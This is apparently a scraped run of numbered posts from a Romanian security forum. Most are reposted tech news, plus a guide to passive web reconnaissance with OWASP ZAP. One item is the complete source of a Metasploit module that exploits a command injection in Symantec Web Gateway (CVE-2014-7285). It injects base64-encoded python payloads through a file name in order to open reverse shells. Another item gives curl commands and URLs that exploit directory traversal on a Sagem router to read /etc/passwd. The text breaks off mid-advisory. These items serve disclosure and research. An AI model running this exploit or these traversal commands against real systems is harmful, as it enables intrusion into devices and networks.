mocked by thousands of people on social media, as it failed to compete with rival Google Chrome or Mozilla Firefox browsers. sursa: http://rt.com/news/241557-microsoft-internet-explorer-killed/
  13. Dau moca acest web template cu sursa flash, psd, tot inclus 29119 template preview Animatie: HTML plus Flash Width: 1680px (Valoare de cumparat de pe site: 63 usd) Cerinta: minim 500 post-uri RST sau contributie buna la comunitatea RST.
  14. # Title : Sagem F@st 3304-V2 Directory Traversal Vulnerability # Vendor : http://www.sagemcom.com # Severity : High # Tested Router : Sagem F@st 3304-V2 (3304, other versions may also be affected) # Date : 2015-03-01 # Author : Loudiyi Mohamed # Contact : Loudiyi.2010@gmail.com # Blog : https://www.linkedin.com/pub/mohamed-loudiyi/86/81b/603 # Vulnerability description: Sagem Fast is an ADSL Router using a web management interface in order to change configuration settings. The router is Sagem Fast is an ADSL Router using a web management interface in order to change configuration settings. The web server of the router is vulnerable to directory traversal which allows reading files by sending encoded '../' requests. The vulnerability may be tested with the following command-line: curl -v4 http://192.168.1.1//../../../../../../../../../../etc/passwd Or directly from navigateur: http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fnet%2farp Source
  15. d-Aware Web Companion ofera aceleasi caracteristici de securitate ca si Ad-Aware Security Toolbar, dar intr-un mod mult mai discret – in afara browserului. Acest program ofera protectie eficienta impotriva link-urilor malitioase si a tuturor amenintarilor din mediul online. Principalele caracteristici includ: Blocarea link-urilor malitioase (avertizeaza atunci cand esti pe punctul de a accesa un site infectat). Setari pentru pagina de start a browserului Setarea motorului implicit de cautare (poti seta ce motor de cautare vei folosi din bara de adrese a browserului) Programul este in faza de testare beta si poate fi descarcat de aici: Login to MyLavasoft | Lavasoft -> Sursa: Ad-Aware Web Companion Beta – Protectie web gratuita
  16. This Metasploit module exploits a command injection vulnerability found in Symantec Web Gateway's setting restoration feature. The filename portion can be used to inject system commands into a syscall function, and gain control under the context of HTTP service. For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user. However, for version 5.2.1, you must be an administrator. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Web Gateway 5 restore.php Post Authentication Command Injection", 'Description' => %q{ This module exploits a command injection vulnerability found in Symantec Web Gateway's setting restoration feature. The filename portion can be used to inject system commands into a syscall function, and gain control under the context of HTTP service. For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user. However, for version 5.2.1, you must be an administrator. }, 'License' => MSF_LICENSE, 'Author' => [ 'Egidio Romano', # Original discovery & assist of MSF module 'sinn3r' ], 'References' => [ [ 'CVE', '2014-7285' ], [ 'OSVDB', '116009' ], [ 'BID', '71620' ], [ 'URL', 'http://karmainsecurity.com/KIS-2014-19' ], [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141216_00'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python' } }, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'SSLVersion' => 'TLS1' }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Symantec Web Gateway 5', {}] ], 'Privileged' => false, 'DisclosureDate' => "Dec 16 2014", # Symantec security bulletin (Vendor notified on 8/10/2014) 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI to Symantec Web Gateway', '/']), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password for the username']) ], self.class) end def protocol ssl ? 'https' : 'http' end def check uri = target_uri.path res = send_request_cgi({'uri' => normalize_uri(uri, 'spywall/login.php')}) if res && res.body.include?('Symantec Web Gateway') return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def get_sid sid = '' uri = target_uri.path res = send_request_cgi({ 'uri' => normalize_uri(uri, 'spywall/login.php'), 'method' => 'GET', }) unless res fail_with(Failure::Unknown, 'Connection timed out while retrieving PHPSESSID') end cookies = res.get_cookies sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' sid end def login(sid) uri = target_uri.path res = send_request_cgi({ 'uri' => normalize_uri(uri, 'spywall/login.php'), 'method' => 'POST', 'cookie' => sid, 'headers' => { 'Referer' => "#{protocol}://#{peer}/#{normalize_uri(uri, 'spywall/login.php')}" }, 'vars_post' => { 'USERNAME' => datastore['USERNAME'], 'PASSWORD' => datastore['PASSWORD'], 'loginBtn' => 'Login' } }) unless res fail_with(Failure::Unknown, 'Connection timed out while attempting to login') end cookies = res.get_cookies sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' if res.headers['Location'] =~ /executive_summary\.php$/ && !sid.blank? # Successful login return sid else # Failed login fail_with(Failure::NoAccess, "Bad username or password: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") end end def build_payload # At of today (Feb 27 2015), there are only three payloads this module will support: # * cmd/unix/generic # * cmd/unix/reverse_python # * cmd/unix/reverse_python_ssl p = payload.encoded case datastore['PAYLOAD'] when /cmd\/unix\/generic/ # Filter that one out, Mr. basename() p = Rex::Text.encode_base64("import os ; os.system('#{Rex::Text.encode_base64(p)}'.decode('base64'))") p = "python -c \"exec('#{p}'.decode('base64'))\"" else p = p.gsub(/python -c "exec/, 'python -c \\"exec') p = p.gsub(/decode\('base64'\)\)"/, "decode('base64'))\\\"") end p end def build_mime p = build_payload data = Rex::MIME::Message.new data.add_part("#{Time.now.to_i}", nil, nil, 'form-data; name="posttime"') data.add_part('maintenance', nil, nil, 'form-data; name="configuration"') data.add_part('', 'application/octet-stream', nil, 'form-data; name="licenseFile"; filename=""') data.add_part('24', nil, nil, 'form-data; name="raCloseInterval"') data.add_part('', nil, nil, 'form-data; name="restore"') data.add_part("#{Rex::Text.rand_text_alpha(4)}\n", 'text/plain', nil, "form-data; name=\"restore_file\"; filename=\"#{Rex::Text.rand_text_alpha(4)}.txt; #{p}\"") data.add_part('Restore', nil, nil, 'form-data; name="restoreFile"') data.add_part('0', nil, nil, 'form-data; name="event_horizon"') data.add_part('0', nil, nil, 'form-data; name="max_events"') data.add_part(Time.now.strftime("%m/%d/%Y"), nil, nil, 'form-data; name="cleanlogbefore"') data.add_part('', nil, nil, 'form-data; name="testaddress"') data.add_part('', nil, nil, 'form-data; name="pingaddress"') data.add_part('and', nil, nil, 'form-data; name="capture_filter_op"') data.add_part('', nil, nil, 'form-data; name="capture_filter"') data end def inject_exec(sid) uri = target_uri.path mime = build_mime # Payload inside send_request_cgi({ 'uri' => normalize_uri(uri, 'spywall/restore.php'), 'method' => 'POST', 'cookie' => sid, 'data' => mime.to_s, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'headers' => { 'Referer' => "#{protocol}://#{peer}#{normalize_uri(uri, 'spywall/mtceConfig.php')}" } }) end def save_cred(username, password) service_data = { address: rhost, port: rport, service_name: protocol, protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: self.fullname, origin_type: :service, username: username, private_data: password, private_type: :password }.merge(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL }.merge(service_data) create_credential_login(login_data) end def exploit print_status("Getting the PHPSESSID...") sid = get_sid if sid.blank? print_error("Failed to get the session ID. Cannot continue with the login.") return end print_status("Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}") sid = login(sid) if sid.blank? print_error("Failed to get the session ID from the login process. Cannot continue with the injection.") return else # Good password, keep it save_cred(datastore['USERNAME'], datastore['PASSWORD']) end print_status("Trying restore.php...") inject_exec(sid) end end Source
  17. It's been a long time coming, but now the users of Firefox and Opera browsers don’t need to rely on the Chrome browser to access WhatsApp Web client, as the most popular smartphone messaging service has announced that the Web-based version of its service now works on Firefox and Opera web browsers too. WHATSAPP WEB AVAILABLE FOR OPERA & FIREFOX Almost a month ago, WhatsApp launched the web client of its service but the access was limited only to the Google Chrome users. Now, the company is giving more choices to desktop users by launching WhatsApp Web Today for Opera and Firefox browsers, though you’ll still have to wait a little long if you’re a Safari user. WhatsApp Web is nothing than an extension of the core mobile WhatsApp application. It syncs conversations from your smartphone devices to your PCs, with everything stored on the mobile device itself. HOW TO USE WHATSAPP ON PC/DESKTOP In order to install WhatsApp web in your PC or laptop running Google Chrome, Mozilla Firefox or Opera browsers, you need to follow same steps, as the sign-up process is the same as with Chrome browser: Interested WhatsApp users simply need to open Chrome and navigate to WhatsApp Web A QR code will appear on the web page, which must be scanned using WhatsApp mobile application to activate the service. By scanning the QR code that appears, users will automatically have paired their mobile WhatsApp with the WhatsApp web client, as shown. For now, WhatsApp Web only works with Android, Windows Phone and BlackBerry devices, but unfortunately, iPhones still don't have the capability to scan the WhatsApp Web QR code because there's no web solution at this time for iOS users because of limitations of the platform. Currently, WhatsApp has 700 million users sending 30 billion messages per day, and is bigger than most of its competitors, including Facebook Messenger, Line and WeChat. Now, this new WhatsApp web client available for a wider range of browsers will definitely increase its market. Source
  18. How To Assess a Third Party Web Site or Cloud Service with the OWASP ZAP Attack Proxy When You Don’t Have Permission to Pentest As a security professional, you will often be asked to give your opinion or assessment on the security of a third-party web site or cloud service. The person asking the question will usually have no authority to give you permission to run a penetration test on the remote site, and the chances that you can secure permission from the remote site’s owner will also be remote. If this happens to you, are you stuck? Actually, the answer is no. There is plenty of reconnaissance you can perform on a third-party service without requesting special permission, as long as you have a solid attack proxy and a plan. Introducing the OWASP ZAP Attack Proxy One of the top free tools in application security and pentester toolboxes these days is the OWASP ZAP attack proxy. (“ZAP” stands for “Zed Attack Proxy.”) In pentest mode, this tool can map a site, attempt exploits and fuzz input, but using these capabilities against a third-party site without the owner’s permission can be an invitation for trouble. Fortunately, third-party site owners usually grant permission during trial and demo periods to try out their site and service using normal web browsers and mobile devices. The trick to good (and legal) reconnaissance is to only capture and analyze the traffic available in the trial period, and this happens to be another application at which OWASP ZAP excels. Setting Expectations and Getting Internal Permission Before you do anything technical, however, you should set expectations and get some cover from the person who requested the assessment. In the process of doing this, you will also lay out your plan, request access to a demo account, and explicitly tell the requester what you are not going to do (i.e., “hack” or run a “pentest”). After you do more of these evaluations you will surely develop your own template, but the following message will get you started: For your own protection, please do NOT begin your research until you get: A positive acknowledgment to your “Is this OK?” question in writing. A working demo account, which you have tested using a regular Web browser. Planning Your Reconnaissance If you don’t get to hack, what can you do? Actually, the list of items you can investigate from normal traffic is often long enough to make a judgment call on the security posture of the target service. In this article we’ll cover “just” nine, but you could certainly look at many more. Use of HTTPS to protect traffic Quality of SSL certificate Avoids client-side secrets or authentication Up-to-date software Secure site headers Proper location and protection of vital assets Avoids information leakage through “extra” fields Access controls on web APIs (sometimes) Evaluation of legal and privacy policy Preparing OWASP ZAP and Your Browser To use OWASP ZAP in a noninvasive, passthrough mode, you need to set ZAP up as a proxy. From ZAP’s main menu, select “Tools | Options”. In the “Local Proxy” section, set the address and port your browser will use (The defaults are an address of “localhost” and a port “8080”). In the “Dynamic SSL” section, click the “Generate” button to create a CA certificate to use to facilitate your HTTPS connections. Still in the “Dynamic SSL” section, click the “Save” button to save a copy of this CA certificate as a *.cer file (You will want to import this CA into your browser soon to avoid “untrusted SSL certificate” blocks). Pick the Web browser you want to use to examine the remote site. Since I use Chrome for my daily browsing, I usually use Firefox as my secondary browser for Web analysis. Open your selected Web browser and set up its proxy settings, located here in current versions of Firefox (“Options” dialog, “Network” tab, “Connection” section, “Settings” button): …IE (“Settings” icon, “Internet Options” option, “Connections” tab, “LAN Settings” button) …and Chrome (“Settings” dialog, “Slow advanced settings…” link, “Network” section, “Change proxy settings…” button, then see “IE” entry above because it uses the same “Internet Properties” dialog as IE). Once you have configured your proxy, you should also import the proxy’s SSL CA certificate so your browser will not warn you about a bad certificate (the proxy’s certificate) every time you contact an HTTPS server. In Firefox, the list of trusted CA certificates is available from the “Certificates” tab in the program options. In IE and Chrome, the list of trusted CA certificates is also available through each browser’s options, but is actually saved in the local Windows operating system, not the browser itself. To test all this, restart your selected browser, make sure OWASP ZAP is running, and contact an HTTPS-protected site like https://www.google.com. You may immediately see a certificate warning page like this: …because the certificate presented by the proxy does not match the target, but you should have an option to “Add Exception” or “Proceed” because you already added the proxy’s certificate to your list of trusted CAs (E.g., you get a yellow warning you can ignore instead of a red error that stops you from proceeding). To proceed, click the available link and inspect the provided certificate. If you performed your steps correctly you will “OWASP” all over it. Click the “Permanently store this exception” box and then click the “Confirm Security Exception” button (or similar controls) to dismiss the error and proceed with your connections. Bypassing the Proxy for Certain Sites As you perform research on various sites, you may also want to set up a list of sites that will not be queried through the proxy. These settings are usually near your browser’s other proxy settings. For example, in Firefox, they are immediately below the proxy host and port settings. Performing Your Reconnaissance Now that you have OWASP ZAP and your browser set up, let’s proceed with some reconnaissance. Our sample target today will be a web services company called EventMobi, which hosts a public demo at MFG 2015. (Remember, we’re being non-invasive, so public resources are best!) Use of HTTPS to protect traffic To get started, simply open up the public demo link in your browser. (Do NOT enter it into the inviting little “URL to attack” field in OWASP ZAP!) Since we’re going through a proxy that may tie things up, you may need to refresh your browser (or perform the “Resolving Missing Images” procedure below) a few times to get all the content you want, but in less than a minute you should see a valid web page in your browser: …and some folders will start to appear in ZAP under the “Sites” list. Notice that pages are already listed as coming from “http” or “https.” In the case of our sample site, it’s clear that all content is being served from http, and that we haven’t been pushed to https automatically. To research this further and see if https is an option if we want secure transport, we can go back to the browser and simply change the main URL from MFG 2015 to https://eventmobi.com/mfg2015/attendees/76204. In this case, the site doesn’t load (there is an eternally spinning “loading” circle), so we switch to a “normal” browser (not going through the proxy) to confirm the lack of HTTP support. Since the behavior is the same with our proxied and normal browsers, we reach an unfortunate conclusion: this site doesn’t use HTTPS by default, and won’t support HTTPS if we ask for it. Resolving Missing Images To resolve images and other resources that come from other sites, you may need to perform the following procedure, especially if they are being served from HTTPS resources. Right-click the non-resolving resource (such as an image) and right-click “Copy Image Location” (or similar). In a new tab, paste the URL from the previous step. Click through any certificate resolution or other site-specific errors until the specific resource resolves. Go back to the tab with the main application and refresh it to resolve all resources from the same site. Assessment of Sample Site For “use of HTTPS to protect traffic,” we conclude that this site is weak because it doesn’t use HTTPS by default, and won’t support HTTPS if we ask for it. Quality of SSL certificate While we’re on the subject of HTTPS, we should step out out of our proxied browser again and inspect the real X.509 certificate being offered up by our target site. We can usually do this by clicking the lock or certificate icon near our page URL. Here is what that looks like in Chrome (my daily, non-proxy browser). To get even more information, click “Certificate information.” There are generally three things you want to look for here. First, make sure that there is a fully trusted path to a legitimate CA. This certificate is in good shape. Next, check the “CN” on the certificate (usually in the “Subject” field). In this case, the certificate looks like a “wildcard” certificate because the CN is for the entire domain rather than a specific server. This is often a good sign, because wildcard certificates indicate that a company is large or stable enough to spend the extra money on a site-wide certificate. Finally, take a look through the other fields on the certificate. In this case, there is an interesting list of what appears to be customer-specific sites in the “Subject Alternative Field.” If you plan on using your own domain name through the provider, having this list broadcast to anyone who connected to the provider’s Web site might or might not make you nervous. Assessment of Sample Site For “quality of SSL certificate” we conclude that this site is OK because it uses a valid X.509 certificate, but could be better since the certificate seems to be leaking the URLs of some other customer sites. Avoids client-side secrets or authentication Now that we’re done with SSL and certificates, let’s look at the application itself. To see how it works, click throughout the application in your proxied browser. (In other words, try to go everywhere you can through links, buttons and forms.) Once you have a nice set of data, return to the ZAP console and open the tree that corresponds to our target site (in this case, “http://evenmobi.com“). Then drill down into a particular request and click the “Response” tab to see what the target site is telling us. What we are mostly looking for here is JavaScript or other client code that is performing authentication requests, especially passwords accidentally sent to the client. (To help detangle hard-to-read JavaScript, remember to use a JavaScript Beautifier.) Our target site has a lot of its resources in a “webapp/view/high/js” tree, so we can drill down there to look at individual files. Another place to look for potential exposure is the history of requests at the bottom of the ZAP console. In this case, ZAP has highlighted a “*.js” file that contains the word “password” and warrants further inspection. A complete analysis of client code, authentication routines and unsafe password handling is beyond this article (and could take more time than the rest of the steps combined), but suffice it to say that our target site passed its inspection. Assessment of Sample Site For “avoids client-side secrets or authentication” we conclude that this site is fine because it doesn’t do client-side authentication and keeps its passwords safe on the server. Up-to-date software Most Web sites depend on a variety of third-party libraries and applications, and many sites lag behind the most current and secure versions of these components. This problem is so widespread that OWASP continues to track it as #9 in its Top Ten Web Vulnerabilities. Fortunately ZAP can help us look for these in three ways. First, we can look at Web site headers for Web software version numbers. Unless it’s suppressed by the target server or intervening firewall, this information will be displayed in any content response from the site. In this case we see that the site is claiming to run version 1.1.19 of the nginx Web server. Checking the nginx release history, we see that that version was released in April 2012 – almost three years ago. We can also look up nginx security vulnerabilities to see that our target server may have a number of “medium” severity vulnerabilities (fortunately no “major” vulnerabilities), including: SSL session reuse vulnerability Request line parsing vulnerability Memory disclosure with specially crafted HTTP backend responses Vulnerabilities with Windows directory aliases Second, we can use ZAP to look for application environment versions. These may be displayed if we access “Web application” files like *.php, *.aspx, etc. (Hiding this information is a best practice, so it may not appear on all sites.) n this case we see that the remote site is running PHP version 5.3.10, and is also probably running Ubuntu with a Linux kernel version of 3.15. That suggests that the operating system was updated at least once in the past year (OK), but that the PHP environment has been deprecated (all support, including security support, terminated in mid-2014). Finally, we can also use ZAP to check standardized JavaScript libraries and other includes for vulnerable versions. These may be easy to find in the list of downloaded assets: …or may be buried in inline page includes (which requires looking through downloaded content). In this case, we can check at least three standard libraries for known vulnerabilities: socket.io (version 0.9.11) – current version is 1.3.3; this version appears safe jquery (version 1.7) – current version is 1.9; this version appears safe keen (version 2.1.0) – current version is 3.2.2; this version appears safe etc… Assessment of Sample Site For “up-to-date software” we conclude that this site is worrisome because it is running a pretty old version of its Web server software with several known vulnerabilities and an out-of-support version of PHP. (The application JavaScript components appear fine, but the Web server and PHP issues are enough to cause concern.) Secure site headers A sign that a service takes security seriously is the use of special Web site headers designed to prevent XSS and related exploits. Many of these headers are detailed on other sites, but some of the best ones to look for are: X-Frame-Options: SAMEORIGIN or X-Frame-Options: DENY X-Content-Type-Options: nosniff (Missing) X-Powered-By… Strict-Transport-Security Content-Security-Policy Using ZAP, these would show up in the Response section of most file requests. Unfortunately, none of the secure headers we would like to see are used by our target site, and as we saw above, the target site quite happily uses an “X-Powered-By” header to tell us about the underlying application (PHP) and OS (Ubuntu Linux) environment. Assessment of Sample Site Our target site does not use any “secure site headers,” and does not suppress headers that may provide helpful information to hackers. Proper location and protection of vital assets One of the many things ZAP does well is organize detected assets by site of origin. This makes it easy to see where a target site stores its assets and runs its application. In the case of our target site we can see resources come from newrelic.com, linkedin.com, amazonaws.com and google-analytics.com, among other places. For now we will ignore the tracking and advertising sites and zero in on resources pulled from Amazon’s S3 storage service. To see these, open up the related tree until you can drill down to an asset. Notice that the full URL of each asset is available in ZAP. To see whether or not an asset is accessible without any access control, copy its URL into an “incognito” browser window in a non-proxy browser. (ZAP provides a right-click “Copy URLs to Clipboard” option for this exact purpose.) If you can pull up the resource in a fresh, incognito browser session, there is generally no access protection and anyone with the URL to the resource can access it. In some cases this is OK, but if confidential information is ever accessible in this way you could have a leak on your hands. Assessment of Sample Site In terms of “proper location and protection of vital assets” there are a number of company-specific assets that are stored on publicly-accessible storage at Amazon. Since all the information we plan to store in this application is public anyway, this is OK, but we would need to see a different storage mechanism in place with enforced access controls if we planned to use the service with any confidential information. Avoids information leakage through “extra” fields It is common for Web applications, particularly Web services, to provide “extra” information with requests that client-side (usually JavaScript) code will filter out. However, all this information is easily accessible to interested parties, including you. To look for this type of information using ZAP, look for large page or Web service requests in your history, then dig into the fields provided. Remember to cut/paste data in JSON prettifiers and other tools if you need help visualizing it. For example, here is an abbreviated response from our sample site: { "response":{ "id":"76204", "name":"Attendees", "items":[ { "id":"1812359", "first_name":"James Avery", "about":"", "image50":"50mfg-m-01.jpg", "image100":"100mfg-m-01.jpg", "title":"Support Specialist", "company_name":"Metropolitan Financial Group", "website":"http://www.eventmobi.com", "facebook":"http://www.facebook.com/eventmobi.com", "twitter":"http://twitter.com/eventmobi", "linkedin":"http://www.linkedin.com/in/eventmobi", "url":"http://api.eventmobi.com/en/api/v1/events/MFG2015/sections/76204/items/1812359" }, { "id":"1812360", "first_name":"Joe Baker", "about":"", "image50":"50crop_547c946dd931f_128_(1).jpg", "image100":"100crop_547c946dd931f_128_(1).jpg", "title":"CEO", "company_name":"Metropolitan Financial Group", "website":"http://www.eventmobi.com", "facebook":"http://www.facebook.com/eventmobi.com", "twitter":"http://twitter.com/eventmobi", "linkedin":"http://www.linkedin.com/in/eventmobi", "url":"http://api.eventmobi.com/en/api/v1/events/MFG2015/sections/76204/items/1812360" }, This is a block of JSON that shows that the target site will happily dump a complete attendee list, including self-provided contact information. Assessment of Sample Site In terms of “Avoids information leakage through “extra” fields” the target site is OK. Although interesting fields such as “linkedin” are revealed, they must be added by individual users and are probably easy to find through other publicly available sources. Access controls on web APIs After you have identified a few key API service calls in ZAP, copy the URLs out and try them in your incognito Web browser to see if they are protected by any access controls. In the case of our sample site, there do not appear to be any access controls on the API. Assessment of Sample Site In terms of “access controls on Web APIs” there do not appear to be any access controls. This may be OK for public information, but if information such as lists of attendees is sensitive, then we may be concerned. Evaluation of legal and privacy policy Finally, you can put ZAP down for a minute and read some legalese. Go back to the target site using a non-proxy Web browser and find its legal terms, privacy or security policy. For our target site, a privacy policy can be found at http://www.eventmobi.com/legal/privacy-policy/ At a high level, you are looking for promises of privacy or security made in the legal policy that do not seem to be backed up with technical controls. As it turns out, our target’s privacy policy is weak, but accurately describes what they do or do not do. In a section about the type of information collected and its use, our target accurately lists what they collect and states that the information of participants is “publicly available online” (as we saw while looking at Web service access controls). In the “Security” section we see a statement about “suitable procedures” to protect information collected online. This is vague enough to encompass what we saw in our investigation (e.g., no encryption for public information), but without more inspection we have to take our target on its word. Finally, another “Security” section contains a vague promise of “security measures,” and then honestly puts the onus of not posting anything confidential on the users. Assessment of Sample Site Our “evaluation of legal and privacy policy” did not give us great confidence in the security of the site, but it agrees with our overall technical assessment. For that reason, it strikes us as an honest policy. Filing Your Report Now that you have completed your analysis, it’s time to provide a recommendation based on your limited information. Remember that your requester is primarily looking for a simple answer to this question: “Is this service safe enough for the job?” A typical results report might resemble the following template. For example, an evaluation of our sample target might yield the following report. Source
  19. Consumers, hardware makers and even governments have never been more concerned about spying than they are today. It’s pretty much a given that most of the world’s superpowers have elaborate surveillance programs in place to monitor what we do online but who else is tracking your browsing? Internet marketing service NeoMam Studios recently put together a nice infographic on the topic that looks into who tracks browsing habits as well as the steps you can take to limit such activity in various browsers. Sursa:
  20. Good news for Internet folks! Get Ready as the entire web you know is about to change. The new and long-awaited version of HTTP took a major step toward becoming a reality on Wednesday – It is been officially finalized and approved. Mark Nottingham, chairman of the Internet Engineering Task Force (IETF) working group behind creating the standards, announced in a blog post that the HTTP 2.0 specifications have been formally approved. Now, the specifications will go through a last formality – Request for comment and editorial processes – before being published as a standard. LARGEST CHANGE IN HTTP OVER LAST 16 YEARS HTTP, or Hypertext Transfer Protocol, is one of the web standards familiar to most as the http:// at the beginning of a web address. HTTP protocol governs the connections between a user’s browser and the server hosting a website, invented by the father of the web Sir Tim Berners-Lee. HTTP/2 is simply an update to the protocol, but is really a huge deal because the last time the HTTP specification was updated back in 1999. This means the HTTP/2 will be the first major update to the HTTP standard over the last 16 years, marking the largest change since 1999 when HTTP 1.1 was adopted that underpins the World Wide Web as we know it today. WHAT IS HTTP/2 ? HTTP/2 promises to deliver Web pages to browsers faster, allowing online users to read more pages, buy more things and perform more and faster Internet searches. HTTP/2 is based on SPDY protocol, a protocol introduced by Google in 2009 and adopted by some technologies including Google's own Chrome browser, Mozilla's Firefox, Microsoft's Internet Explorer, many websites such as Facebook, and some of the software that delivers Web pages to browsers. SPDY (fittingly pronounced "speedy") was designed to speed up the loading of web pages and the browsing experience of the online users. Both SPDY and HTTP/2 use "header field compression" and "multiplexing" to let browsers make multiple requests to web servers via a single connection. BROWSE EVERYTHING FASTER HTTP/2 won’t replace the traditional web standard what the world knows and loves, but it is expected to help websites load faster and more securely once it’s adopted a wide scale. PUSHES ENCRYPTION HTTP 2.0 also brings another big change – Encryption. It was originally planned to push encryption technology called TLS (Transport Layer Security, formerly called SSL for Secure Sockets) in HTTP/2, but this was rejected because of inconvenience to certain network operators and proxy vendors by burdening them with new standards. However, when Firefox and Chrome developers said that they won't support HTTP/2 unless it does support encryption. Therefore, Nottingham says, sites that want to get the benefit of faster browsing "will need to use TLS if they want to interoperate with the broadest selection of browsers." WHEN WILL USERS GET HTTP/2 ? As the specification of the HTTP/2 standard is finalized and approved, after going through some editorial processes HTTP/2 will be published and ready for adoption. Well, to enjoy HTTP/2 on Internet depends on websites, hosting services and companies such as Google to implement the standard. For its part, Google already announced that it will adopt HTTP/2 in Chrome by early 2016. Users can also expect Firefox to follow suit, as well. More information is available in the HTTP/2 FAQ. Source
  21. There is an entire section of the Internet that you probably don’t see on daily basis, it’s called the "Darknet" or "Deep Web", where all browsing is done anonymously. About a week ago, we reported about the 'Memex' Deep Web Search Engine, a Defense Advance Research Projects Agency (DARPA) project to create a powerful new search engine that could find things on the deep web that isn't indexed by Google and other commercial search engines, but it isn't available to you and me. Now, there is another search engine that will let anyone easily search the Deep Web for large swaths of information for free, and without an application; you only need is an Internet connection. Onion.City, a new search engine for online underground markets that makes it more easier to find and buy drugs, guns, stolen credit cards directly from your Chrome, Internet Explorer or Firefox browser without installing and browsing via Tor Browser. Just two days after Memex story came to light, Virgil Griffith announced Onion.City Deep Web search engine onto the Tor-talk mailing list, that actually gives you the feel of a normal search engine, but can search the ".onion" domains on Deep Web and throw up results on your normal browser. ONION.CITY — SEARCH ENGINE FOR TOR ONION SITES Onion.City darknet search engine is powered using Tor2web proxy which enables it to access deep into the anonymous Tor network, finds ".onion" sites by aggregating the hidden marketplaces and makes them available to the normal web browser with easiest navigation. Tor Network is one of the most well-known Darknets, where web addresses on the Tor network follow the form of a random string of letters followed by the ".onion" suffix and are only accessible through the Tor browser. Online users visit and run so-called hidden services on ".onion" domains or deep web, but the way to get around the ".onion" websites is to first have a Tor browser. However, Onion City darknet search engine made it easy and effective for Internet users in order to search on the deep web from our favorite, insecure web browser. Those who aren't much familiar with the Deep Web can read our wonderful and detailed article on "What is the Deep Web? A first trip into the abyss". GRAMS — BLACK MARKET SEARCH ENGINE However, Onion.city isn't the first ever Deep Web search engine. Last year, the first search engine for online underground Black Markets, called Grams, was launched that lets anyone to easily find illegal drugs and other contraband online in an easier way ever and it's pretty fast like Google Search Engine. Such a search engine like Grams and Onion.city are mostly considered to be illegal or illicit, but not every website on the Deep Web is dubious. The Frequently Asked Questions (FAQs) on Onion.City website even provides an email address to report content that may be illegal, though it's unclear exactly what steps they’ll take. For now, leaving controversies aside, Onion.city seems to be a nice and effective Deep Web search engine for providing a means for regular web users to search things they would otherwise have to work a little harder to find. Source
  22. Google on Thursday unleashed its own free web application vulnerability scanner tool, which the search engine giant calls Google Cloud Security Scanner, that will potentially scan developers' applications for common security vulnerabilities on its cloud platform more effectively. SCANNER ADDRESSES TWO MAJOR WEB VULNERABILITIES Google launched the Google Cloud Security Scanner in beta. The New web application vulnerability scanner allows App Engine developers to regularly scan their applications for two common web application vulnerabilities: Cross-Site Scripting (XSS) Mixed Content Scripts Despite several free web application vulnerability scanner and vulnerability assessment tools are available in the market, Google says these website vulnerability scanners are typically hard to set up and "built for security professionals," not for web application developers that run the apps on the Google App Engine. While Google Cloud Security Scanner will be easier for web application developers to use. This web application vulnerability scanner easily scans for Cross-Site Scripting (XSS) and mixed content scripts flaws, which the company argues are the most common security vulnerabilities Google App Engine developers face. Today, common HTML5 and JavaScript-heavy applications are more challenging to crawl and test, and Google Cloud Security Scanner claims to take a novel approach by parsing the code and then executing a full-page render to find more complex areas of a developer's site. GO FOR WEB VULNERABILITY SCAN NOW The developers can access the Cloud Security Scanner under Compute > App Engine > Security in Google's Developers Console. This will run your first scan. It does not work with App Engine Managed VMs, Google Compute Engine, or other resources. Google notes that there are two typical approaches to such security scans: Parse the HTML and emulate a browser – This is fast; however, it comes at the cost of missing site actions that require a full DOM or complex JavaScript operations. Use a real browser – This approach avoids the parser coverage gap and most closely simulates the site experience. However, it can be slow due to event firing, dynamic execution, and time needed for the DOM to settle. Security Engineering head Rob Mann says that their web vulnerability scanner uses Google Compute Engine to dynamically create a botnet of hundreds of virtual Chrome workers that scan at a max rate of 20 requests per second, so that the target sites won’t be overloaded. The search engine giant still recommended developers to look into manual security review by a web app security professional, just to be on the safer side. However, the company hopes its vulnerability scanner tool will definitely provide a simple solution to the most common App Engine issues with minimal false positives. Source
  23. ======================================================== I. Overview ======================================================== Multiple CSRF & Cross-Site Scripting (XSS) vulnerabilities have been identified in Crushftp 7.2.0 (Web Interface) on default configuration. These vulnerabilities allows an attacker to gain control over valid user accounts, perform operations on their behalf, redirect them to malicious sites, steal their credentials, and more. ======================================================== II. Severity ======================================================== Rating: Medium Remote: Yes Authentication Require: Yes ======================================================== III. Vendor's Description of Application ======================================================== CrushFTP is a robust file transfer server that makes it easy to setup secure connections with your users. 'Crush' comes from the built-in zip methods in CrushFTP. They allow for downloading files in compressed formats in-stream, or even automatically expanding zip files as they are received in-stream. This is called ZipStreaming and can greatly accelerate the transfer of many types of files. Secure management is web based allowing you the ability to manage and monitor the server from anywhere, or with almost any device. Easy in place server upgrades without complicated installers. Runs as a daemon, or Windows service with no need for a local GUI. CrushFTP is watching out for you by detecting common hack attempts and robots which scan for weak passwords. It will automatically protect you against DDoS 